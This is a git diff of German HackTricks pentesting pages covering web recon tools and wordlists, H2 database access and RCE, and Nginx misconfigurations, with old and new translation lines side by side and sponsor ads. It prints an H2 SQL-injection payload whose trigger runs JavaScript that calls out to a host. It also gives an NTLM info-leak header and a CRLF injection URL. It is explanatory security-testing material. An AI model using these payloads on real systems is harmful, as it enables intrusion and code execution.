* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das Ihnen den beautifizierten JS-Code gibt, wenn Sie die .js.map-URL angeben.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch die Antworten in der Wayback herunterladen und nach weiteren Links suchen).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regex finden.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Drucken Sie jeden Link aus, den es finden kann.
|
||||
|
||||
### Brute Force-Verzeichnisse und -Dateien
|
||||
### Brute Force Verzeichnisse und Dateien
|
||||
|
||||
Starten Sie das **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse **entdeckt** durch das **Spidering** brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Tools:
|
||||
|
@ -269,7 +271,7 @@ Tools:
|
|||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dirsearch** enthaltenes Wörterbuch](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnote-Wortlisten](https://wordlists.assetnote.io)
|
||||
* [Assetnote Wortlisten](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -283,22 +285,22 @@ Tools:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
|
||||
### Was bei jeder gefundenen Datei zu überprüfen ist
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTMLs, die anfällig für Übernahmen sein könnten.
|
||||
* **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
|
||||
* **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen,** versteckte Parameter in jeder ausführbaren Webdatei zu suchen.
|
||||
* **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.**
|
||||
* _Arjun alle Standard-Wortlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
|
||||
* Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (unter Verwendung von **Hunderte** von **Leerzeichen**, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
* Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **Hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
* **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
|
||||
* **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/).
|
||||
* **S3-Buckets**: Achten Sie beim Spidering darauf, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/).
|
||||
|
||||
### Besondere Funde
|
||||
|
||||
|
@ -317,7 +319,7 @@ _Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
|||
* **JsFuck-Deobfuskation** (JavaScript mit Zeichen: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* In mehreren Fällen müssen Sie **reguläre Ausdrücke** verstehen, die verwendet werden, dies wird nützlich sein: [https://regex101.com/](https://regex101.com)
|
||||
* Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung des Parameters oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
|
||||
* Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung im Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
|
||||
|
||||
|
@ -327,11 +329,11 @@ _Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
|||
|
||||
**502 Proxy-Fehler**
|
||||
|
||||
Wenn eine Seite mit diesem **Code** **antwortet**, ist es wahrscheinlich ein **schlecht konfiguriertes Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird das **Proxy** versuchen, auf _**google.com**_ **zuzugreifen**, und Sie haben eine **SSRF** gefunden.
|
||||
Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ **zuzugreifen**, und Sie haben eine **SSRF** gefunden.
|
||||
|
||||
**NTLM-Authentifizierung - Informationsoffenlegung**
|
||||
|
||||
Wenn der laufende Server nach Authentifizierung fragt und **Windows** ist oder Sie ein Login finden, das nach Ihren **Anmeldeinformationen** (und nach dem **Domänennamen**) fragt, können Sie eine **Informationsoffenlegung** provozieren.\
|
||||
Wenn der laufende Server nach Authentifizierung fragt und **Windows** ist oder Sie eine Anmeldung finden, die nach Ihren **Anmeldeinformationen** (und nach dem **Domänennamen**) fragt, können Sie eine **Informationsoffenlegung** provozieren.\
|
||||
**Senden** Sie den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise der **NTLM-Authentifizierung** wird der Server mit internen Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" antworten.\
|
||||
Sie können dies mit dem **nmap-Plugin** "_http-ntlm-info.nse_" **automatisieren**.
|
||||
|
||||
|
@ -357,11 +359,13 @@ Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter:
|
|||
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die Sicherheitsanfälligkeiten einfügen könnten.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und verwenden Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, und verwandeln Sie Ihre harte Arbeit in überzeugende Berichte.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### HackTricks Automatische Befehle
|
||||
```
|
||||
|
|
|
@ -1,51 +1,59 @@
|
|||
# H2 - Java SQL-Datenbank
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Offizielle Seite: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||
|
||||
## Zugriff
|
||||
|
||||
Sie können einen **nicht existierenden Namen einer Datenbank** angeben, um **eine neue Datenbank ohne gültige Anmeldeinformationen** (**unauthentifiziert**) zu **erstellen**:
|
||||
|
||||
![](<../../.gitbook/assets/image (131).png>)
|
||||
|
||||
Oder wenn Sie wissen, dass zum Beispiel ein **MySQL läuft** und Sie den **Datenbanknamen** und die **Anmeldeinformationen** für diese Datenbank kennen, können Sie einfach darauf zugreifen:
|
||||
|
||||
![](<../../.gitbook/assets/image (201).png>)
|
||||
|
||||
_**Trick aus der Box Hawk von HTB.**_
|
||||
|
||||
## **RCE**
|
||||
|
||||
Wenn Sie Zugriff haben, um mit der H2-Datenbank zu kommunizieren, überprüfen Sie diesen Exploit, um RCE darauf zu erhalten: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
|
||||
|
||||
## H2 SQL-Injection zu RCE
|
||||
|
||||
In [**diesem Beitrag**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) wird ein Payload erklärt, um **RCE über eine H2-Datenbank** durch Ausnutzung einer **SQL-Injection** zu erhalten.
|
||||
```json
|
||||
[...]
|
||||
"details":
|
||||
{
|
||||
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
|
||||
"advanced-options": false,
|
||||
"ssl": true
|
||||
},
|
||||
[...]
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Offizielle Seite: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||
|
||||
## Zugriff
|
||||
|
||||
Du kannst einen **nicht existierenden Namen einer Datenbank** angeben, um **eine neue Datenbank ohne gültige Anmeldeinformationen** (**unauthentifiziert**) zu **erstellen**:
|
||||
|
||||
![](<../../.gitbook/assets/image (131).png>)
|
||||
|
||||
Oder wenn du weißt, dass zum Beispiel ein **mysql läuft** und du die **Datenbanknamen** und die **Anmeldeinformationen** für diese Datenbank kennst, kannst du einfach darauf zugreifen:
|
||||
|
||||
![](<../../.gitbook/assets/image (201).png>)
|
||||
|
||||
_**Trick aus der Box Hawk von HTB.**_
|
||||
|
||||
## **RCE**
|
||||
|
||||
Wenn du Zugriff hast, um mit der H2-Datenbank zu kommunizieren, überprüfe diesen Exploit, um RCE darauf zu erhalten: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
|
||||
|
||||
## H2 SQL-Injection zu RCE
|
||||
|
||||
In [**diesem Beitrag**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) wird ein Payload erklärt, um **RCE über eine H2-Datenbank** durch Ausnutzung einer **SQL-Injection** zu erhalten.
|
||||
```json
|
||||
[...]
|
||||
"details":
|
||||
{
|
||||
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
|
||||
"advanced-options": false,
|
||||
"ssl": true
|
||||
},
|
||||
[...]
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,29 +1,31 @@
|
|||
# Nginx
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Fehlender Root-Standort <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
Bei der Konfiguration des Nginx-Servers spielt die **Root-Direktive** eine entscheidende Rolle, indem sie das Basisverzeichnis definiert, aus dem Dateien bereitgestellt werden. Betrachten Sie das folgende Beispiel:
|
||||
Bei der Konfiguration des Nginx-Servers spielt die **Root-Direktive** eine entscheidende Rolle, indem sie das Basisverzeichnis definiert, aus dem Dateien bereitgestellt werden. Betrachte das folgende Beispiel:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -34,13 +36,13 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
In dieser Konfiguration ist `/etc/nginx` als das Wurzelverzeichnis festgelegt. Dieses Setup ermöglicht den Zugriff auf Dateien im angegebenen Wurzelverzeichnis, wie z.B. `/hello.txt`. Es ist jedoch wichtig zu beachten, dass nur ein spezifischer Ort (`/hello.txt`) definiert ist. Es gibt keine Konfiguration für den Wurzelort (`location / {...}`). Diese Auslassung bedeutet, dass die Wurzelanweisung global gilt, was es Anfragen an den Wurzelpfad `/` ermöglicht, auf Dateien unter `/etc/nginx` zuzugreifen.
|
||||
In dieser Konfiguration ist `/etc/nginx` als das Wurzelverzeichnis festgelegt. Dieses Setup ermöglicht den Zugriff auf Dateien innerhalb des angegebenen Wurzelverzeichnisses, wie z.B. `/hello.txt`. Es ist jedoch wichtig zu beachten, dass nur ein spezifischer Ort (`/hello.txt`) definiert ist. Es gibt keine Konfiguration für den Wurzelort (`location / {...}`). Diese Auslassung bedeutet, dass die Wurzelanweisung global gilt, was es Anfragen an den Wurzelpfad `/` ermöglicht, auf Dateien unter `/etc/nginx` zuzugreifen.
|
||||
|
||||
Eine kritische Sicherheitsüberlegung ergibt sich aus dieser Konfiguration. Eine einfache `GET`-Anfrage, wie `GET /nginx.conf`, könnte sensible Informationen offenlegen, indem die Nginx-Konfigurationsdatei unter `/etc/nginx/nginx.conf` bereitgestellt wird. Das Setzen der Wurzel auf ein weniger sensibles Verzeichnis, wie `/etc`, könnte dieses Risiko mindern, dennoch könnte es weiterhin unbeabsichtigten Zugriff auf andere kritische Dateien, einschließlich anderer Konfigurationsdateien, Zugriffsprotokolle und sogar verschlüsselter Anmeldeinformationen für die HTTP-Basisauthentifizierung, ermöglichen.
|
||||
Eine kritische Sicherheitsüberlegung ergibt sich aus dieser Konfiguration. Eine einfache `GET`-Anfrage, wie `GET /nginx.conf`, könnte sensible Informationen offenlegen, indem die Nginx-Konfigurationsdatei unter `/etc/nginx/nginx.conf` bereitgestellt wird. Das Setzen des Wurzels auf ein weniger sensibles Verzeichnis, wie `/etc`, könnte dieses Risiko mindern, dennoch könnte es weiterhin unbeabsichtigten Zugriff auf andere kritische Dateien, einschließlich anderer Konfigurationsdateien, Zugriffsprotokolle und sogar verschlüsselter Anmeldeinformationen für die HTTP-Basisauthentifizierung, ermöglichen.
|
||||
|
||||
## Alias LFI Fehlkonfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
In den Konfigurationsdateien von Nginx ist eine genaue Überprüfung der "location"-Direktiven erforderlich. Eine Schwachstelle, die als Local File Inclusion (LFI) bekannt ist, kann unbeabsichtigt durch eine Konfiguration eingeführt werden, die der folgenden ähnelt:
|
||||
In den Konfigurationsdateien von Nginx ist eine genaue Überprüfung der "location"-Anweisungen erforderlich. Eine Schwachstelle, die als Local File Inclusion (LFI) bekannt ist, kann unbeabsichtigt durch eine Konfiguration eingeführt werden, die der folgenden ähnelt:
|
||||
```
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
|
@ -80,12 +82,12 @@ deny all;
|
|||
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Unsichere Variablenverwendung / HTTP-Anforderungsaufteilung <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
## Unsichere Variablenverwendung / HTTP-Anforderungs-Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Anfällige Variablen `$uri` und `$document_uri` und dies kann behoben werden, indem sie durch `$request_uri` ersetzt werden.
|
||||
|
||||
Ein Regex kann ebenfalls anfällig sein, wie:
|
||||
Ein Regex kann ebenfalls anfällig sein wie:
|
||||
|
||||
`location ~ /docs/([^/])? { … $1 … }` - Anfällig 
|
||||
|
||||
|
@ -94,13 +96,13 @@ Ein Regex kann ebenfalls anfällig sein, wie:
|
|||
`location ~ /docs/(.*)? { … $1 … }` - Nicht anfällig
|
||||
{% endhint %}
|
||||
|
||||
Eine Schwachstelle in der Nginx-Konfiguration wird durch das folgende Beispiel veranschaulicht:
|
||||
Eine Schwachstelle in der Nginx-Konfiguration wird durch das folgende Beispiel demonstriert:
|
||||
```
|
||||
location / {
|
||||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
Die Zeichen \r (Carriage Return) und \n (Line Feed) kennzeichnen Zeilenumbruchzeichen in HTTP-Anfragen, und ihre URL-kodierten Formen werden als `%0d%0a` dargestellt. Das Einfügen dieser Zeichen in eine Anfrage (z. B. `http://localhost/%0d%0aDetectify:%20clrf`) an einen falsch konfigurierten Server führt dazu, dass der Server einen neuen Header mit dem Namen `Detectify` ausgibt. Dies geschieht, weil die $uri-Variable die URL-kodierten Zeilenumbruchzeichen dekodiert, was zu einem unerwarteten Header in der Antwort führt:
|
||||
Die Zeichen \r (Carriage Return) und \n (Line Feed) kennzeichnen Zeilenumbrüche in HTTP-Anfragen, und ihre URL-kodierten Formen werden als `%0d%0a` dargestellt. Das Einfügen dieser Zeichen in eine Anfrage (z. B. `http://localhost/%0d%0aDetectify:%20clrf`) an einen falsch konfigurierten Server führt dazu, dass der Server einen neuen Header mit dem Namen `Detectify` ausgibt. Dies geschieht, weil die $uri-Variable die URL-kodierten Zeilenumbrüche dekodiert, was zu einem unerwarteten Header in der Antwort führt:
|
||||
```
